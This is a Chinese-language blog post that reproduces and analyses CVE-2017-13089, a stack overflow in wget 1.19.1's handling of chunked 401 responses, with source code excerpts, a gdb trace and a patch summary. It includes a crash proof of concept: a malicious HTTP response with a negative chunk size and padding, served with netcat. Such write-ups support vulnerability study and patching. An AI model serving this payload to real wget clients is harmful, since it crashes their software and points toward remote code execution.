CVE-2017-13089 wget 栈溢出漏洞复现
2020-03-20 10:56:37 Author: xz.aliyun.com(查看原文) 阅读量:367 收藏

前言

参考网上的一篇文章教程,复现了一下 wget 1.19.1 组件版本的的一个栈溢出漏洞。漏洞的成因是由于对响应包处理不当导致的整数溢出,进而导致栈溢出。

环境准备

sudo apt-get install libneon27-gnutls-dev
wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
tar zxvf wget-1.19.1.tar.gz

编译

cd wget-1.19.1/
mkdir build/ & ./configure --prefix=$PWD/build/
make -j8

安装

安装好的二进制文件是存放在 --prefix 变量值的 bin/ 目录下:

sudo make install
cd build/

漏洞触发

该版本漏洞是由于 wget 组件在处理 401 状态码的数据响应包时,没有对读取的包做正负检查,导致的整数栈溢出。我们先触发一下这个漏洞。

1 . 建立 poc 文件

➜  wget_sof cat poc 

HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

-0xFFFFF000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0

2 . nc 监听端口

➜  wget_sof nc -lp 12667 < poc

3 . wget 触发漏洞

可以看到,wget 在 12667 端口处触发了栈溢出漏洞,导致程序服务 crach:

漏洞分析

接着对漏洞点进行静态和动态分析。

静态分析

前文说了漏洞点是由于对 401 数据响应包的处理不当导致的,准确的说是由于 wget 在处理响应包时,对每个包进行分块之后,错误的将一个负数与整数进行比较,得到的负数的值作为内存复制函数的 len。

首先搜索 skip_short_body 函数,进入 src/http.c 源代码中进行分析:

➜  wget-1.19.1 grep -rnl "skip_short_body" *                       
build/bin/wget
ChangeLog
src/http.c
src/http.o
src/wget

跟踪到 src/http.c 文件的 3493 行,在这里会判断 wget 请求返回回来的 http 状态码,当状态码是 401(未认证)时会触发下面的 if 判断:

if (statcode == HTTP_STATUS_UNAUTHORIZED)
    {
      /* Authorization is required.  */
      uerr_t auth_err = RETROK;
      bool retry;
      if(warc_enabled){
        ......        # 判断是否 content-type 为 WARC 

      }else
        {
          /* Since WARC is disabled, we are not interested in the response body.  */
          if (keep_alive && !head_only
              && skip_short_body (sock, contlen, chunked_transfer_encoding))
            CLOSE_FINISH (sock);
          else
            CLOSE_INVALIDATE (sock);
        }

    }
  • HTTP_STATUS_UNAUTHORIZED 的定义:
#define HTTP_STATUS_UNAUTHORIZED          401

因为这里的 content-type 不是 warc,所以会进入 else 分支,以此判断 keep_alivehead_only,接着调用 skip_short_body 这个函数,这里传入了三个参数,第一个参数 sock 的描述符,后面两个参数不重要。

跟进函数 skip_short_body

static bool
skip_short_body (int fd, wgint contlen, bool chunked)
{
  enum {
    SKIP_SIZE = 512,                /* size of the download buffer */
    SKIP_THRESHOLD = 4096        /* the largest size we read */
  };
  wgint remaining_chunk_size = 0;
  char dlbuf[SKIP_SIZE + 1];
  dlbuf[SKIP_SIZE] = '\0';        /* so DEBUGP can safely print it */

  /* If the body is too large, it makes more sense to simply close the
     connection than to try to read the body.  */
  if (contlen > SKIP_THRESHOLD)
    return false;

  while (contlen > 0 || chunked)
    {
      int ret;
      if (chunked)
        {
          if (remaining_chunk_size == 0)
            {
              char *line = fd_read_line (fd);
              char *endl;
              if (line == NULL)
                break;

              remaining_chunk_size = strtol (line, &endl, 16);
              xfree (line);

              if (remaining_chunk_size == 0)
                {
                  line = fd_read_line (fd);
                  xfree (line);
                  break;
                }
            }

          contlen = MIN (remaining_chunk_size, SKIP_SIZE);
        }

      DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));

      ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);

首先函数通过 sock 获取到 line 的指针: char *line = fd_read_line (fd);也就是 http 响应包的响应体的指针

接着调用 strtol 函数,将 line 变量指向的值转换为整数值(remaining_chunk_size 变量),接着通过 MIN (remaining_chunk_size, SKIP_SIZE); 得到真正的响应体的长度 contlen。

  • MIN 的定义,取长度小的作为 contlen 的值:
# define MIN(a,b) ((a) < (b) ? (a) : (b))

之后调用了 fd_read 函数,将响应体的内容复制到栈中,长度即为 contlen 变量的值。

fd_read 函数封装了 sock_read 函数

int
fd_read (int fd, char *buf, int bufsize, double timeout)
{
  struct transport_info *info;
  LAZY_RETRIEVE_INFO (info);
  if (!poll_internal (fd, info, WAIT_FOR_READ, timeout))
    return -1;
  if (info && info->imp->reader)
    return info->imp->reader (fd, buf, bufsize, info->ctx);
  else
    return sock_read (fd, buf, bufsize);
}

sock_read 函数调用了 read 函数,在这里触发了栈溢出:

static int
sock_read (int fd, char *buf, int bufsize)
{
  int res;
  do
    res = read (fd, buf, bufsize);
  while (res == -1 && errno == EINTR);
  return res;
}

动态分析

使用 gdb 进行动态调试:

gdb ./wget
set args 127.0.0.1:12667
b skip_short_body

将断点下在 skip_short_body 函数入口,在执行完 fd_read_line 函数后,观察寄存器,返回值 line 的值为 -0xFFFFF000 的指针:

往下,接着会调用 strtol 函数,第一个为 line 的值,第二个参数为栈上的变量,第三个参数为长度:

执行完 strtol 函数之后,会将返回值赋值给 remaining_chunk_size 变量,此时这个变量的值为 0xffffffff00001000

pwndbg> i reg rax
rax            0xffffffff00001000       -4294963200

通过代码 contlen = MIN (remaining_chunk_size, SKIP_SIZE); 进行比较,得到的 contlen 变量的值为 0x1000。

SKIP_SIZE 的定义:

  • 这里将一个负数与整数相比较,返回的值就是 0x1000。

接着调用到 fd_read 函数,这个函数的第三个参数就是 contlen 的值,大小为 0x1000。

跟进函数,fd_read 里面封装了 sock_read 函数:

跟进之后发现,这个函数里调用了 read 函数,将 sock 通道里的内容(也就是 AAAA...)复制到栈空间上:

因为这个值太大,导致了栈溢出。填充后不会使得当前 fd_read 函数崩溃,而会溢出到了 skip_short_body 这个函数的栈空间,覆盖了栈的返回地址,导致程序崩溃:

漏洞补丁

更新的补丁将 strtol 函数的返回值 remaining_chunk_size 变量的值进行是否为负数的判断,如果是负数的话就之后 return False 从而防止整数的溢出。

参考文章

https://mp.weixin.qq.com/s/3rBfUnRiFoe-0w2C9JqwZw


文章来源: http://xz.aliyun.com/t/7394
如有侵权请联系:admin#unsafe.sh